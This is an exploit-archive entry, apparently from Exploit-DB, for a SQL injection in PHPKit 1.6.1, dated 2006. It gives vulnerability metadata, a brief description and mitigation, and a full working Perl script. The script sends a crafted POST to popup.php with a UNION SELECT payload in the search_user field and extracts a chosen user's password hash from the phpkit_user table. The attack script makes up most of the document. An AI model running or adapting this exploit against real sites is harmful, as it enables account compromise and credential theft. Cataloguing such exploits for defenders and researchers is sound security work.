PHPKit 1.6.1 exploit

vendor:

PHPKit

by:

x23

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHPKit

Affected Version From: 1.6.1

Affected Version To: 1.6.1

Patch Exists: YES

Related CWE: N/A

CPE: a:phpkit:phpkit:1.6.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

This exploit is used to gain access to the user password hash of a vulnerable version of PHPKit 1.6.1. It uses a POST request to the 'popup.php' file in the 'misc/finduser.php' directory, with a specially crafted 'search_user' parameter. This parameter contains a SQL injection payload which is used to extract the user password hash from the 'phpkit_user' table.

Mitigation:

Upgrade to the latest version of PHPKit 1.6.1 or later.

Source

Exploit-DB raw data:

#!/usr/bin/perl

use IO::Socket;

print q{
-----------------------------------------------
PHPKit 1.6.1 exploit by x23 ~ phcn.ws ~ geek-network.de
use: phpkit161.pl [server] [dir] [vic_id]
sample:
$ perl phpkit161.pl localhost /phpkit/ 1
-----------------------------------------------

};

$webpage =   $ARGV[0];
$directory = $ARGV[1];
$vic_id =    $ARGV[2];

if (!$vic_id) { die "~ read how to use ;)\n"; }

print "~ connecting\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\n";

print "~ exploiting\n";
print $sock "POST ".$directory."popup.php?path=misc/finduser.php HTTP/1.1\r\n";
print $sock "Host: $webpage\r\n";
print $sock "Keep-Alive: 300\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Content-Length: ".length("search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D".$vic_id."%2F*&action=Suche&User=-1")."\r\n\r\n";

print $sock "search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D".$vic_id."%2F*&action=Suche&User=-1";

while ($answer = <$sock>) {
  #print $answer;
  if ($answer =~/<option value="([0-9a-f]{32})">/) {
     print "~ hash: $1\n";
     close($sock);
     exit();
     break;
  }
}

close($sock);

# milw0rm.com [2006-11-04]